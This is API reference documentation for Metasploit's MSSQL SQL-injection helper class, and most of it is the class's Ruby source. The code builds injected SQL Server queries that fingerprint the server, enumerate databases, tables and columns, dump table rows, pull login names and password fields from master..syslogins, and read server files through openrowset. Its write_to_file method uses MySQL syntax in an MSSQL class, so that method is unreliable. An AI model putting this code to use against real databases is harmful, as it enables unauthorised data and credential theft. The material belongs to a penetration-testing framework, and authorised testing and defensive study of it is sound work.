Class: Msf::Exploit::SQLi::Mssqli::Common

Inherits:
Common
  • Object
show all
Defined in:
lib/msf/core/exploit/sqli/mssqli/common.rb

Direct Known Subclasses

BooleanBasedBlind, TimeBasedBlind

Constant Summary collapse

ENCODERS =

Encoders supported by Microsoft SQL Server Keys are MSSQL function names, values are decoding procs in Ruby

{
  hex: {
    encode: 'master.dbo.fn_varbintohexstr(CAST(^DATA^ as varbinary(max)))',
    decode: proc { |data| Rex::Text.hex_to_raw(data.start_with?('0x') ? data[2..-1] : data) }
  }
}.freeze

Instance Attribute Summary

Attributes inherited from Common

#concat_separator, #datastore, #framework, #null_replacement, #safe, #second_concat_separator, #truncation_length

Attributes included from Rex::Ui::Subscriber::Input

#user_input

Attributes included from Rex::Ui::Subscriber::Output

#user_output

Instance Method Summary collapse

Methods inherited from Common

#raw_run_sql, #run_sql

Methods included from Module::UI

#init_ui

Methods included from Module::UI::Message

#print_error, #print_good, #print_prefix, #print_status, #print_warning

Methods included from Module::UI::Message::Verbose

#vprint_error, #vprint_good, #vprint_status, #vprint_warning

Methods included from Module::UI::Line

#print_line, #print_line_prefix

Methods included from Module::UI::Line::Verbose

#vprint_line

Methods included from Rex::Ui::Subscriber

#copy_ui, #init_ui, #reset_ui

Methods included from Rex::Ui::Subscriber::Input

#gets

Methods included from Rex::Ui::Subscriber::Output

#flush, #print, #print_blank_line, #print_error, #print_good, #print_line, #print_status, #print_warning

Constructor Details

#initialize(datastore, framework, user_output, opts = {}, &query_proc) ⇒ Common

See SQLi::Common#initialize



25
26
27
28
29
30
31
32
33
# File 'lib/msf/core/exploit/sqli/mssqli/common.rb', line 25

def initialize(datastore, framework, user_output, opts = {}, &query_proc)
  opts[:concat_separator] ||= ','
  if opts[:encoder].is_a?(String) || opts[:encoder].is_a?(Symbol)
    # if it's a String or a Symbol, use a predefined encoder if it exists
    opts[:encoder] = opts[:encoder].downcase.intern
    opts[:encoder] = ENCODERS[opts[:encoder]] if ENCODERS[opts[:encoder]]
  end
  super
end

Instance Method Details

#current_databaseObject

Query the current database name

@return [String] The name of the current database


47
48
49
# File 'lib/msf/core/exploit/sqli/mssqli/common.rb', line 47

def current_database
  call_function('DB_NAME()')
end

#current_userObject

Query the current user

@return [String] The username of the current user


62
63
64
# File 'lib/msf/core/exploit/sqli/mssqli/common.rb', line 62

def current_user
  call_function('user_name()')
end

#dump_table_fields(table, columns, condition = '', num_limit = 0) ⇒ Object

Query the given columns of the records of the given table, that satisfy an optional condition

@param table [String]  The name of the table to query
@param columns [Array] The names of the columns to query
@param condition [String] An optional condition, return only the rows satisfying it
@param num_limit [Integer] An optional maximum number of results to return
@return [Array] An array, where each element is an array of strings representing a row of the results


123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
# File 'lib/msf/core/exploit/sqli/mssqli/common.rb', line 123

def dump_table_fields(table, columns, condition = '', num_limit = 0)
  return '' if columns.empty?

  columns = columns.map do |col|
    col = "cast(isnull(#{col},'#{@null_replacement}') as varchar(max))"
    @encoder ? @encoder[:encode].sub(/\^DATA\^/, col) : col
  end.join("+'#{@second_concat_separator}'+")
  unless condition.empty?
    condition = ' where ' + condition
  end
  num_limit = num_limit.to_i
  limit = num_limit > 0 ? " top #{num_limit}" : ''
  retrieved_data = nil
  identifier_generator = Rex::RandomIdentifier::Generator.new
  if @safe
    # no group_concat, leak one row at a time
    count_item = 'cast(count(1) as varchar(max))'
    count_item = @encoder ? @encoder[:encode].sub(/\^DATA\^/, count_item) : count_item
    row_count = run_sql("select #{count_item} from #{table}#{condition}")
    row_count = @encoder ? @encoder[:decode].call(row_count).to_i : row_count.to_i
    num_limit = row_count if num_limit == 0 || row_count < num_limit
    # generate a random alias for every column name
    item_alias, row_alias, tab_alias = 3.times.map { identifier_generator.generate }
    retrieved_data = num_limit.times.map do |current_row|
      if @truncation_length
        truncated_query("select top(1) substring(#{item_alias},^OFFSET^,#{@truncation_length}) from (select #{columns} #{item_alias},ROW_NUMBER() over (order by (select 1)) #{row_alias} from #{table}#{condition}) #{tab_alias} where #{row_alias}=#{current_row + 1}")
      else
        run_sql("select top(1) #{item_alias} from (select #{columns} #{item_alias},ROW_NUMBER() over (order by (select 1)) #{row_alias} from #{table}#{condition}) #{tab_alias} where #{row_alias}=#{current_row + 1}")
      end
    end
  elsif num_limit > 0
    # if limit > 0, an alias will be necessary
    alias1, alias2 = 2.times.map { identifier_generator.generate }
    if @truncation_length
      retrieved_data = truncated_query("select substring(string_agg(#{alias1}, '#{@concat_separator}')," \
      "^OFFSET^,#{@truncation_length}) from (select #{limit}#{columns} #{alias1} from #{table}"\
      "#{condition}) #{alias2}").split(@concat_separator || ',')
    else
      retrieved_data = run_sql("select string_agg(#{alias1},'#{@concat_separator}')"\
      " from (select #{limit}#{columns} #{alias1} from #{table}#{condition}) #{alias2}").split(@concat_separator || ',')
    end
  elsif @truncation_length
    retrieved_data = truncated_query("select #{limit}substring(string_agg(#{columns},'#{@concat_separator}')," \
      "^OFFSET^,#{@truncation_length}) from #{table}#{condition}").split(@concat_separator || ',')
  else
    retrieved_data = run_sql("select #{limit}string_agg(#{columns},'#{@concat_separator}')" \
    " from #{table}#{condition}").split(@concat_separator || ',')
  end

  retrieved_data.map do |row|
    row = row.split(@second_concat_separator)
    @encoder ? row.map { |x| @encoder[:decode].call(x) } : row
  end
end

#enum_database_namesObject

Query the names of all the existing databases

@return [Array] An array of Strings, the database names


70
71
72
# File 'lib/msf/core/exploit/sqli/mssqli/common.rb', line 70

def enum_database_names
  dump_table_fields('master..sysdatabases', %w[name]).flatten
end

#enum_dbms_usersArray

Query the mssql users (their username and password), this might require root privileges.

Returns:

  • (Array)

    an array of arrays representing rows, where each row contains two strings, the username and password



93
94
95
96
# File 'lib/msf/core/exploit/sqli/mssqli/common.rb', line 93

def enum_dbms_users
  # might require root privileges
  dump_table_fields('master..syslogins', %w[name password])
end

#enum_table_columns(table_name) ⇒ Object

Query the column names of the given table in the given database

@param table_name [String] the name of the table of which you want to query the column names, can be: database.table
@return [Array] An array of Strings, the column names in the given table belonging to the given database


103
104
105
106
107
108
109
110
111
112
113
# File 'lib/msf/core/exploit/sqli/mssqli/common.rb', line 103

def enum_table_columns(table_name)
  table_schema_condition = ''
  if table_name.include?('.')
    database, table_name = table_name.split(/\.{1,2}/)
    database += '..'
  else
    database = ''
  end
  dump_table_fields("#{database}syscolumns", %w[name],
                    "id=(select id from #{database}sysobjects where name='#{table_name}')").flatten
end

#enum_table_names(database = '') ⇒ Object

Query the names of the tables in a given database

@param database [String] the name of a database, or nil or an empty string for the current database
@return [Array] An array of Strings, the table names in the given database


79
80
81
82
# File 'lib/msf/core/exploit/sqli/mssqli/common.rb', line 79

def enum_table_names(database = '')
  sysobjects_tbl = "#{database.nil? || database.empty? ? '' : database + '..'}sysobjects"
  dump_table_fields(sysobjects_tbl, %w[name], "xtype='U'").flatten
end

#enum_view_names(database = '') ⇒ Object



84
85
86
87
# File 'lib/msf/core/exploit/sqli/mssqli/common.rb', line 84

def enum_view_names(database = '')
  sysobjects_tbl = "#{database.nil? || database.empty? ? '' : database + '..'}sysobjects"
  dump_table_fields(sysobjects_tbl, %w[name], "xtype='V'").flatten
end

#hostnameObject

Query the hostname

@return [String] The hostname of the server running Microsoft SQL Server


55
56
57
# File 'lib/msf/core/exploit/sqli/mssqli/common.rb', line 55

def hostname
  call_function('@@SERVERNAME')
end

#read_from_file(fpath, binary = false) ⇒ String

Attempt reading from a file on the filesystem

Parameters:

  • fpath (String)

    The path of the file to read

Returns:

  • (String)

    The content of the file if reading was successful



204
205
206
207
208
209
210
211
212
213
214
215
# File 'lib/msf/core/exploit/sqli/mssqli/common.rb', line 204

def read_from_file(fpath, binary=false)
  alias1 = Rex::Text.rand_text_alpha(1) + Rex::Text.rand_text_alphanumeric(5..11)
  expr = @encoder ? @encoder[:encode].sub(/\^DATA\^/, 'BulkColumn') : 'BulkColumn'
  output = if @truncation_length
    truncated_query("select substring(#{expr},^OFFSET^,#{@truncation_length}) " \
    "from openrowset(bulk N'#{fpath}',SINGLE_CLOB) as #{alias1}")
  else
    run_sql("select #{expr} from openrowset(bulk N'#{fpath}',SINGLE_CLOB) as #{alias1}")
  end
  output = @encoder[:decode].call(output) if @encoder
  output
end

#test_vulnerableObject

Checks if the target is vulnerable (if the SQL injection is working fine), by checking that queries that should return known results return the results we expect from them



182
183
184
185
186
187
188
189
190
# File 'lib/msf/core/exploit/sqli/mssqli/common.rb', line 182

def test_vulnerable
  random_string_len = @truncation_length ? [rand(2..10), @truncation_length].min : rand(2..10)
  random_string = Rex::Text.rand_text_alphanumeric(random_string_len)
  query_string = "'#{random_string}'"
  query_string = @encoder[:encode].sub(/\^DATA\^/, query_string) if @encoder
  output = run_sql("select #{query_string}")
  return false if output.nil?
  (@encoder ? @encoder[:decode].call(output) : output) == random_string
end

#versionObject

Query the Microsoft SQL Server version

@return [String] The Microsoft SQL Server version in use


39
40
41
# File 'lib/msf/core/exploit/sqli/mssqli/common.rb', line 39

def version
  call_function('@@VERSION')
end

#write_to_file(fpath, data) ⇒ Object

Attempt writing data to the file at the given path



195
196
197
# File 'lib/msf/core/exploit/sqli/mssqli/common.rb', line 195

def write_to_file(fpath, data)
  run_sql("select '#{data}' into dumpfile '#{fpath}'")
end